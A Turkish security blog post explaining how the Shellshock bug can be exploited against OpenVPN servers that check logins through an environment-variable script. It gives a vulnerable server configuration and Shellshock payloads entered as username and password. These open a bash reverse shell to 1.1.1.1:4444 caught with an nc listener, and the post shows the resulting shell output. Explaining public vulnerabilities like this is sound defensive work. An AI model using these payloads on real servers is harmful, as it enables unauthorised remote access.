OpenVPN Sunucularına Yönelik ShellShock Saldırısı

Shellshock zafiyeti çıktığında yapılan analizlere göre, en önemli güvenlik açıklıklarının arasında yerini aldı. Bir çok farklı saldırı vektörüne göre bu zafiyetin sömürülmesinin mümkün olduğunu ise https://www.mehmetince.net/shellshock-cve-2014-6271-guvenlik-aciginin-saldiri-senaryolari/ bu yazıda ele almıştım.

Bugün ise Shellshock’ün sadece CGI veya DHCP gibi yapılarda değil, OpenVPN sunucularına karşıda bir tehdit oluşturduğundan bahsedeceğim.

Fredrik Strömberg’in konu ile ilgili yaptığı açıklamada https://news.ycombinator.com/item?id=8385332  openVPN yazılımı otantikasyon işlemi için auth-user-pass-verify modülünü kullanıyorsa, shellshock zafiyetine maruz kaldığı belirtilmekte. Bu durumun simülasyonunu yapmak için aşağıdaki örnek openvpn conf dosyasını kullanabiliriz.

### server.conf
port 1194
proto udp
dev tun
client-cert-not-required
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key  # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3

Yukarıdakine benzer, yani auth-user-pass-verify modülünü kullanan OpenVPN sunucusuna aşağıdaki terminal komutu ile bağlantı gerçekleştirme talebi gönderilir.

sudo openvpn --client --remote 192.168.1.11 --auth-user-pass --ca ca.cert --comp-lzo

Eğer bağlantı gerçekleşir ise openvpn kullanıcı adı ve şifre girilmesini bekleyecektir. Bu iki değişken üzerinden shellshock payloadı gönderilebilmektedir.

user:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 &
pass:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 &

Shellshock zafiyeti exploit edilerek hedef OpenVPN sunucusundan reverse connection elde edilmiş olacaktır.

### Port listening
nc -lvp 4444

### Connection
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)